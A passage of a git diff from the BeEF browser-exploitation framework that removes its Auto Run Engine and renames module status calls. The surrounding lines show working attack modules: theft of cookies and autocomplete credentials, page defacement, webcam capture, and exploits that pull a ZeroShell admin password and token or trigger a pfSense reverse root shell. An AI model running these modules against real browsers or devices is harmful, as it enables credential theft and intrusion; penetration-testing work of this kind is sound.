#{e.message}" - print_error "[ARE] #{msg}" - { 'success' => false, 'error' => msg }.to_json - end - - # - # Run a specified rule on the specified hooked browser. - # - get '/run/:rule_id/:hb_id' do - rule_id = params[:rule_id] - hb_id = params[:hb_id] - - raise InvalidParameterError, 'rule_id' if rule_id.nil? - raise InvalidParameterError, 'hb_id' if hb_id.nil? - - are = BeEF::Core::AutorunEngine::Engine.instance - are.run_matching_rules_on_zombie(rule_id, hb_id) - - { 'success' => true }.to_json - rescue InvalidParameterError => e - print_error e.message - halt 400 - rescue StandardError => e - msg = "Could not trigger rule: #{e.message}" - print_error "[ARE] #{msg}" - { 'success' => false, 'error' => msg }.to_json - end - end - end - end -end diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 5b5c0c475f..6362a84e3e 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -133,8 +133,6 @@ class HookedBrowsers < BeEF::Core::Router::Router BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.version', detail_value: os_version) BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'Arch', detail_value: arch) - # TODO: if there where any ARE rules defined for this hooked browser, - # after updating OS/arch, force a retrigger of the rule. { 'success' => true }.to_json end diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index b4c53e9143..f5bf285beb 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -90,9 +90,6 @@ def self.build_javascript_ui ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js - ui/panel/AutoRunTab.js - ui/panel/AutoRunRuleForm.js - ui/panel/AutoRunModuleForm.js ui/panel/ModuleSearching.js ] diff --git a/extensions/admin_ui/media/javascript/ui/panel/AutoRunModuleForm.js b/extensions/admin_ui/media/javascript/ui/panel/AutoRunModuleForm.js deleted file mode 100644 index f744af9518..0000000000 --- a/extensions/admin_ui/media/javascript/ui/panel/AutoRunModuleForm.js +++ /dev/null @@ -1,172 +0,0 @@ - -loadModuleInfo = async function(token, moduleId, moduleName) { - try { - // If all we have is the name then we need to get the ID first. - if (moduleId === undefined) { - const searchResponse = await fetch(`/api/modules/search/${moduleName}?token=${token}`); - if (!searchResponse.ok) { - throw new Error(`Getting auto run rules failed with status ${searchResponse.status}`); - } - const searchData = await searchResponse.json(); - if (typeof searchData.id === 'number') { - moduleId = searchData.id; - } else { - throw new Error("Searching module name failed."); - } - } - - const infoResponse = await fetch(`/api/modules/${moduleId}?token=${token}`); - const infoData = await infoResponse.json(); - if (!infoData) { - throw new Error(`Module with name ${moduleName} and ID ${moduleId} couldn't be retrived.`); - } - // Set the module Id incase we need it later. - infoData.id = moduleId; - return infoData; - - } catch(error) { - console.error(error); - console.error("Failed to get module information."); - return null; - } -} - - -/** - * Form that displays fields for a module. - * - * moduleData: The object definition of this moduleData from the Auto Run Engine. - * deleteFn: callback function to delete this moduleData. - * moveUp: moves the module up one spot in the Auto Run execution order. - * moveDown: moves the module down one spot in the Auto Run exection order. - */ -AutoRunModuleForm = function(moduleData, deleteFn, moveUp, moveDown, ruleId, index, moduleList) { - const moduleTextAreaId = `rule-${ruleId}-module-textarea-${index}`; - const chainModeComboId = `rule-${ruleId}-module-combo-${index}`; - const token = BeefWUI.get_rest_token(); - - const comboStore = new Ext.data.Store({ - data: moduleList, - reader: new Ext.data.JsonReader({ - fields: ['id', 'name'], - }), - proxy: new Ext.data.MemoryProxy(moduleList) - }); - - const moduleSelect = new Ext.form.ComboBox({ - fieldLabel: 'Change Module', - store: comboStore, - queryMode: 'local', - displayField: 'name', - valueField: 'id', - editable: false, // Disable manual editing of the field - forceSelection: true, // Force selection from the list - triggerAction: 'all', - typeAhead: true, - listeners: { - select: async function(combo) { - const selectedModuleId = combo.getValue() - const moduleInfo = await loadModuleInfo(token, selectedModuleId, undefined); - if (!moduleInfo) { - console.error("Failed to load new module."); - return; - } - // Update the module data to reflect the new module. - moduleData.name = moduleInfo.name; - moduleData.condition = moduleInfo.condition ? moduleInfo.condition : null; - moduleData.options = {}; - for (let i = 0; i < moduleInfo.options.length; i++) { - const newOption = moduleInfo.options[i]; - moduleData.options[newOption.name] = newOption.value ? newOption.value : ''; - } - loadModule(moduleInfo); - } - } - }); - - const moduleOptionsContainer = new Ext.Panel({ - title: `Module ${index + 1}`, - tbar: [moduleSelect], - layout: 'form', - border: false, - listeners: { - afterrender: function() {loadModule(undefined)} - } - }); - - async function loadModule(moduleInfo) { - if (!moduleInfo) - moduleInfo = await loadModuleInfo(token, undefined, moduleData.name); - if (!moduleInfo) { - moduleOptionsContainer.update("

Failed to load module information.

"); - return; - } - - // Update the combobox default value to be this module. - // Can't use the moduleData name since it doesn't match the ID. - moduleSelect.setValue(moduleInfo.id); - - // Setup module form elements. Remove all incase we're switching from a different module. - moduleOptionsContainer.removeAll(); - moduleOptionsContainer.add(new Ext.form.DisplayField({ - fieldLabel: 'Module Name', - value: moduleInfo.name - })) - moduleOptionsContainer.add(new Ext.form.DisplayField({ - fieldLabel: 'Module Author', - value: moduleInfo.author ? moduleInfo.author : 'anonymous' - })) - - for (let i = 0; i < moduleInfo.options.length; i++) { - const inputField = generate_form_input_field( - moduleOptionsContainer, - moduleInfo.options[i], - moduleData.options[moduleInfo.options[i].name], - false, - {session: `${moduleInfo.name}-module-${index}-field-${i}`} - ); - // Ensure any changes to the element are reflected in the newRule object. - // When the user saves the rule the whole newRule object will be saved, - // including any changes made to these input fields. - inputField.on('change', function(_inputF, newValue, oldValue) { - moduleData.options[moduleInfo.options[i].name] = newValue; - }); - - }; - moduleOptionsContainer.doLayout(); - } - - const buttonContainer = new Ext.Container({ - layout: { - type: 'hbox', - pack: 'end', - }, - items: [ - { - xtype: 'button', - text: 'Delete', - handler: deleteFn, - },{ - xtype: 'button', - text: 'Move Forward', - handler: moveUp, - disabled: moveUp == undefined, - },{ - xtype: 'button', - text: 'Move Back', - handler: moveDown, - disabled: moveDown == undefined, - } - ] - }); - - - AutoRunModuleForm.superclass.constructor.call(this, { - items: [ - moduleOptionsContainer, - buttonContainer - ] - }); -}; - -Ext.extend(AutoRunModuleForm, Ext.Container, {}); \ No newline at end of file diff --git a/extensions/admin_ui/media/javascript/ui/panel/AutoRunRuleForm.js b/extensions/admin_ui/media/javascript/ui/panel/AutoRunRuleForm.js deleted file mode 100644 index 19df105374..0000000000 --- a/extensions/admin_ui/media/javascript/ui/panel/AutoRunRuleForm.js +++ /dev/null @@ -1,181 +0,0 @@ -const areNotificationUpdateTest = { - "name": "Display an alert-----", - "author": "mgeeky", - "modules": [ - { - "name": "alert_dialog", - "condition": null, - "options": { - "text":"You've been BeEFed ;>" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "nested-forward" -}; -/** - * Form for the user to read, update and delete a specific Auto Run rule. - * - * rule: The object definition of this rule from the Auto Run Engine. - * modules: The list of all commands/modules that the user can choose from. - * deleteFn: callback function to delete this rule. - * updateFn: callback function to update this rule. - */ -AutoRunRuleForm = function(rule, modules, deleteFn, updateFn) { - const self = this; - const ruleTextFieldId = `rule-name-${rule.id}`; - const chainModeComboId = `rule-chain-mode-${rule.id}`; - const newRule = JSON.parse(JSON.stringify(rule)); - newRule.modules = JSON.parse(newRule['modules']); - newRule.execution_delay = JSON.parse(newRule['execution_delay']); - newRule.execution_order = JSON.parse(newRule['execution_order']); - const moduleContainer = new Ext.Container({ - style: { - padding: '10 10 10 10', - }, - listeners: { - afterrender: setupModuleForms - } - }); - - function reorderModule(index, direction) { - // Rearrange modules into new order. - const currentModule = newRule.modules[index]; - const newIndex = direction === 'back' ? index + 1 : index - 1; - newRule.modules.splice(index, 1); - newRule.modules.splice(newIndex, 0, currentModule); - - // Update DOM. - setupModuleForms(); - moduleContainer.doLayout(); - } - - function removeModule(index) { - // Remove element from execution_order and execution_delay arrays. - newRule.modules.splice(index, 1); - newRule.execution_delay.splice(index, 1); - - // Update DOM. - setupModuleForms(); - moduleContainer.doLayout(); - } - - function addModule() { - // New module is a copy of the last module. - newRule.modules.push(newRule.modules[newRule.modules.length - 1]); - newRule.execution_delay.push(newRule.execution_delay[newRule.execution_delay.length - 1]); - - // Update DOM. - setupModuleForms(); - moduleContainer.doLayout(); - } - - function setupModuleForms() { - - moduleContainer.removeAll(true); - - // I think execution order should always be sequential. - // The actual order comes from the modules array. - for (let i = 0; i < newRule.modules.length; ++i) { - const isFirstModule = i === 0; - const isLastModule = i >= newRule.modules.length - 1; - moduleContainer.add(new AutoRunModuleForm( - newRule.modules[i], - function() {removeModule(i)}, - isFirstModule ? undefined : function() {reorderModule(i, 'forward')}, - isLastModule ? undefined : function() {reorderModule(i, 'back')}, - rule.id, - i, - modules - )); - } - } - - function handleUpdateRule() { - // TODO: Need to overwrite module order. - const form = self.getForm(); - const formValues = form.getValues(); - const updatedRule = { - ...newRule, - name: formValues[ruleTextFieldId], - chain_mode: formValues[chainModeComboId], - execution_order: [...Array(newRule.modules.length).keys()], - }; - updateFn(updatedRule); - } - - - AutoRunRuleForm.superclass.constructor.call(this, { - padding:'10 10 10 10', - title: `Rule ${rule.id}`, - items: [{ - xtype: 'textfield', - id: ruleTextFieldId, - value: rule.name ? rule.name : '', - fieldLabel: 'Name', - }, - { - xtype: 'displayfield', - fieldLabel: 'Author', - value: rule.author ? rule.author : 'anonymous', - },{ - xtype: 'displayfield', - fieldLabel: 'Browser(s)', - value: rule.browser ? rule.browser : 'All', - },{ - xtype: 'displayfield', - fieldLabel: 'Browser version(s)', - value: rule.browser_version ? rule.browser_version : 'All', - },{ - xtype: 'displayfield', - fieldLabel: 'OS(s)', - value: rule.os ? rule.os : 'All', - },{ - xtype: 'displayfield', - fieldLabel: 'OS version(s)', - value: rule.os_version ? rule.os_version : 'All', - }, - moduleContainer, - { - xtype: 'button', - text: 'Add Module', - handler: addModule - }, - { - xtype: 'combo', - id: chainModeComboId, - fieldLabel: 'Chain Mode', - store: ['sequential', 'nested-forward'], - queryMode: 'local', // Use local data. - triggerAction: 'all', // Show both options instead of just the default. - editable: false, // Disable manual text input. - forceSelection: true, - value: rule.chain_mode ? rule.chain_mode : 'sequential' - },{ - xtype: 'displayfield', - fieldLabel: 'Execution Order', - value: newRule.execution_order ? - JSON.stringify(newRule.execution_order) - : 'undefined', - },{ - xtype: 'displayfield', - fieldLabel: 'Execution Delay', - value: newRule.execution_delay ? - JSON.stringify(newRule.execution_delay) - : 'undefined', - } - ], - buttons: [{ - text: 'Delete', - handler: deleteFn - }, { - text: 'Save', - handler: handleUpdateRule - }], - border: false, - closable: false - }); -}; - -Ext.extend(AutoRunRuleForm, Ext.FormPanel, {}); \ No newline at end of file diff --git a/extensions/admin_ui/media/javascript/ui/panel/AutoRunTab.js b/extensions/admin_ui/media/javascript/ui/panel/AutoRunTab.js deleted file mode 100644 index 9a49483741..0000000000 --- a/extensions/admin_ui/media/javascript/ui/panel/AutoRunTab.js +++ /dev/null @@ -1,185 +0,0 @@ -const defaultRule = { - "name": "Display an alert", - "author": "mgeeky", - "modules": [ - { - "name": "alert_dialog", - "condition": null, - "options": { - "text":"You've been BeEFed ;>" - } - } - ], - "execution_order": [0], - "execution_delay": [0], - "chain_mode": "nested-forward" -}; - - - -/** - * Asynchronously returns the currently active rules in an array. - * Empty array means no rules are active. - * null if there was an error. - */ -getCurrentRules = async function(token) { - - try { - var res = await fetch(`/api/autorun/rules?token=${token}`); - if (!res.ok) { - throw new Error(`Getting auto run rules failed with status ${res.status}`); - } - const data = await res.json(); - const rules = JSON.parse(data.rules); - - if (data.success === true && Array.isArray(rules)) { - return rules; - } - - console.log("No active auto run rules."); - return []; - - } catch(error) { - console.error(error); - console.error("Failed to get auto run rules."); - return null; - } -} - -getModules = async function(token) { - try { - var res = await fetch(`/api/modules?token=${token}`); - if (!res.ok) { - throw new Error(`Getting auto run rules failed with status ${res.status}`); - } - const modules = await res.json(); - - return modules; - - } catch(error) { - console.error(error); - console.error("Failed to get auto run rules."); - return null; - } -} - -AutoRunTab = function() { - // RESTful API token. - var token = BeefWUI.get_rest_token(); - - // Heading container to describe general Auto Run state. - var ruleLoadingState = new Ext.Container({ - html: "

Loading Auto Run rules...

", - }) - var headingContainer = new Ext.Panel({ - style: { - font: '11px tahoma,arial,helvetica,sans-serif' - }, - padding:'10 10 10 10', - border: false, - items: [{ - xtype: 'container', - html: '\ -
\ -

Auto Run Rules

\ -

These determine what commands run automatically when a browser is hooked.

\ -
' - }, - ruleLoadingState, - { - xtype: 'button', - text: 'Add New Rule', - handler: addRule - }], - listeners: { - afterrender: loadRules - } - }); - // Contains all of the rules and inputs to change each rule. - var ruleContainer = new Ext.Panel({ - border: false, - listeners: { - afterrender: loadRules - } - }); - - async function deleteRule(id) { - const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, {method: 'DELETE'}); - if (!res.ok) { - console.error(`Failed when deleting rule with id ${id}. Failed with status ${res.status}.`); - return; - } - // Update the entire rules panel. Not very efficient. - loadRules(); - } - - async function addRule() { - const res = await fetch(`/api/autorun/rule/add?token=${token}`, { - method: 'POST', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(defaultRule) - }); - if (!res.ok) { - console.error(`Failed when adding a new rule with status ${res.status}.`); - return; - } - // Update the entire rules panel. Not very efficient. - loadRules(); - } - - async function updateRule(id, newRuleData) { - const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(newRuleData) - }); - if (!res.ok) { - console.error(`Failed when adding a new rule with status ${res.status}.`); - return; - } - // Update the entire rules panel. Not very efficient. - loadRules(); - } - - async function loadRules() { - let modules = []; - let rules = []; - try { - modules = await getModules(token); - rules = await getCurrentRules(token); - } catch (error) { - console.error(error); - console.error("Failed to load command modules and/or rules for Auto Run."); - ruleLoadingState.update("

Failed to load Auto Run rules.

"); - return; - } - - if (rules !== null) { - ruleLoadingState.update(`

Loaded ${rules.length} Auto Run rules.

`); - ruleContainer.removeAll(); - - for (let i = 0; i < rules.length; i++) { - ruleForm = new AutoRunRuleForm( - rules[i], - modules, - function() {deleteRule(rules[i].id)}, - function(newRuleData) {updateRule(rules[i].id, newRuleData)} - ); - ruleContainer.add(ruleForm); - } - ruleContainer.doLayout(); - } else { - ruleLoadingState.update("

Failed to load Auto Run rules.

"); - } - } - - AutoRunTab.superclass.constructor.call(this, { - region: 'center', - items: [headingContainer, ruleContainer], - autoScroll: true, - border: false, - closable: false - }); -}; - -Ext.extend(AutoRunTab, Ext.Panel, {}); \ No newline at end of file diff --git a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js index 49e58cb34c..13256911d6 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js +++ b/extensions/admin_ui/media/javascript/ui/panel/MainPanel.js @@ -38,8 +38,6 @@ MainPanel = function(){ this.welcome_tab = new WelcomeTab; - this.auto_run_tab = new AutoRunTab; - MainPanel.superclass.constructor.call(this, { id:'main-tabs', activeTab:0, @@ -78,15 +76,6 @@ MainPanel = function(){ items:[ this.zombies_grid ] - }, - { - id:'autorun-view', - title:'Auto Run', - layout:'border', - hideMode:'offsets', - items:[ - this.auto_run_tab - ] }] }); diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js index 87500ea151..ca7b45ac47 100644 --- a/modules/browser/detect_extensions/command.js +++ b/modules/browser/detect_extensions/command.js @@ -1099,7 +1099,7 @@ beef.execute(function() { if (!failed) { failed = true; if (e.indexOf("detect_chrome_extension") != -1) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error()); } } }; @@ -1108,7 +1108,7 @@ beef.execute(function() { detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error()); } } else if(beef.browser.isFF()) { try { @@ -1117,7 +1117,7 @@ beef.execute(function() { if (!failed) { failed = true; if (e.indexOf("detect_firefox_extension") != -1) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error()); } } }; @@ -1126,11 +1126,11 @@ beef.execute(function() { detect_firefox_extension(firefox_extensions[i], i); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error()); } } else { beef.debug('[Detect Extensions] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.status.error()); } }); diff --git a/modules/browser/detect_mime_types/command.js b/modules/browser/detect_mime_types/command.js index 789a676ab6..8f0caaaeeb 100644 --- a/modules/browser/detect_mime_types/command.js +++ b/modules/browser/detect_mime_types/command.js @@ -8,11 +8,11 @@ beef.execute(function() { if (navigator.mimeTypes) { var mime_types = JSON.stringify(navigator.mimeTypes); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.status.success()); beef.debug("[Detect MIME Types] " + mime_types); } else { beef.debug("[Detect MIME Types] Could not retrieve supported MIME types"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.status.error()); } }); diff --git a/modules/browser/fingerprint_browser/command.js b/modules/browser/fingerprint_browser/command.js index 3d2d6a88e8..3fb8c1f12e 100644 --- a/modules/browser/fingerprint_browser/command.js +++ b/modules/browser/fingerprint_browser/command.js @@ -22,12 +22,12 @@ beef.execute(function() { var murmur = Fingerprint2.x64hash128(values.join(''), 31) beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur); beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components)); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.status.success()); }) }, 500) } catch(e) { beef.debug('[Fingerprint Browser] Error: ' + e.message); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.status.error()); } }); diff --git a/modules/browser/hooked_origin/alert_dialog/command.js b/modules/browser/hooked_origin/alert_dialog/command.js index d75cb57564..3b169fc11e 100644 --- a/modules/browser/hooked_origin/alert_dialog/command.js +++ b/modules/browser/hooked_origin/alert_dialog/command.js @@ -6,5 +6,5 @@ beef.execute(function() { alert("<%= @text %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/clear_console/command.js b/modules/browser/hooked_origin/clear_console/command.js index e5ed8e44b8..04d1114117 100644 --- a/modules/browser/hooked_origin/clear_console/command.js +++ b/modules/browser/hooked_origin/clear_console/command.js @@ -8,8 +8,8 @@ beef.execute(function() { try { beef.debug("Clearing console..."); console.clear(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.status.success()); } catch(e) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.status.error()); } }); diff --git a/modules/browser/hooked_origin/deface_web_page/command.js b/modules/browser/hooked_origin/deface_web_page/command.js index c9cf6844e3..31fdd90990 100644 --- a/modules/browser/hooked_origin/deface_web_page/command.js +++ b/modules/browser/hooked_origin/deface_web_page/command.js @@ -9,5 +9,5 @@ beef.execute(function() { document.title = "<%= @deface_title %>"; beef.browser.changeFavicon("<%= @deface_favicon %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/deface_web_page_component/command.js b/modules/browser/hooked_origin/deface_web_page_component/command.js index 5bd9a46bbd..78624eb79f 100644 --- a/modules/browser/hooked_origin/deface_web_page_component/command.js +++ b/modules/browser/hooked_origin/deface_web_page_component/command.js @@ -10,5 +10,5 @@ beef.execute(function() { $j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>'));); }).length; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/get_autocomplete_creds/command.js b/modules/browser/hooked_origin/get_autocomplete_creds/command.js index 8cd8480649..9783f6ef78 100644 --- a/modules/browser/hooked_origin/get_autocomplete_creds/command.js +++ b/modules/browser/hooked_origin/get_autocomplete_creds/command.js @@ -23,7 +23,7 @@ beef.execute(function() { } beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.status.success()); } create_form = function(input_name) { diff --git a/modules/browser/hooked_origin/get_cookie/command.js b/modules/browser/hooked_origin/get_cookie/command.js index fc00572e1d..39f8142d38 100644 --- a/modules/browser/hooked_origin/get_cookie/command.js +++ b/modules/browser/hooked_origin/get_cookie/command.js @@ -5,10 +5,10 @@ // beef.execute(function() { try { - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.success()); beef.debug("[Get Cookie] Cookie captured: "+document.cookie); }catch(e){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.error()); beef.debug("[Get Cookie] Error"); } }); diff --git a/modules/browser/hooked_origin/get_page_html/command.js b/modules/browser/hooked_origin/get_page_html/command.js index 092e0e575a..f062ac6978 100644 --- a/modules/browser/hooked_origin/get_page_html/command.js +++ b/modules/browser/hooked_origin/get_page_html/command.js @@ -8,7 +8,7 @@ beef.execute(function() { var head = beef.browser.getPageHead(); var body = beef.browser.getPageBody(); var mod_data = 'head=' + head + '&body=' + body; - beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success()); - return [beef.are.status_success(), mod_data]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.status.success()); + return [beef.status.success(), mod_data]; }); diff --git a/modules/browser/play_sound/command.js b/modules/browser/play_sound/command.js index cd386b1aa1..d3fc570ed8 100644 --- a/modules/browser/play_sound/command.js +++ b/modules/browser/play_sound/command.js @@ -10,9 +10,9 @@ beef.execute(function() { var sound = new Audio(url); sound.play(); beef.debug("[Play Sound] Played sound successfully: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.status.success()); } catch (e) { beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error()); } }); diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js index fcd3b42f5d..1f73dd21ff 100644 --- a/modules/browser/webcam_html5/command.js +++ b/modules/browser/webcam_html5/command.js @@ -11,7 +11,7 @@ beef.execute(function() { beef.debug('[Webcam HTML5] Browser supports WebGL'); } else { beef.debug('[Webcam HTML5] Error: WebGL is not supported'); - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.status.error()); return; } @@ -36,7 +36,7 @@ beef.execute(function() { ctx.drawImage(vid_el,0,0,width,height); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png')); } else { - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.status.error()); } }; @@ -85,7 +85,7 @@ beef.execute(function() { }, false); }, function(err) { beef.debug('[Webcam HTML5] Error: getUserMedia call failed'); - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.status.error()); }); // Retrieve the chosen div option from BeEF and display diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js index 00d5a1c6cc..960a4a95f6 100644 --- a/modules/debug/test_return_ascii_chars/command.js +++ b/modules/debug/test_return_ascii_chars/command.js @@ -9,8 +9,6 @@ beef.execute(function() { var str = ''; for (var i=32; i<=127;i++) str += String.fromCharCode(i); - beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); - //return [beef.are.status_success(), str]; - test_return_ascii_chars_mod_output = [beef.are.status_success(), str]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success()); }); diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js index 53ab587121..3487b61d33 100644 --- a/modules/debug/test_return_long_string/command.js +++ b/modules/debug/test_return_long_string/command.js @@ -13,8 +13,6 @@ beef.execute(function() { for (var i = 0; i < iterations; i++) { str += repeat_value; } - beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); - //return [beef.are.status_success(), str]; - test_return_long_string_mod_output = [beef.are.status_unknown(), str]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success()); }); diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js index 1aab1e6063..d13ccaff68 100644 --- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js @@ -26,6 +26,6 @@ beef.execute(function() { beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin)."); document.location = target; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js index 339886897b..996b4bf621 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js @@ -18,18 +18,18 @@ beef.execute(function() { beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error()); } }); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error()); } }); }); diff --git 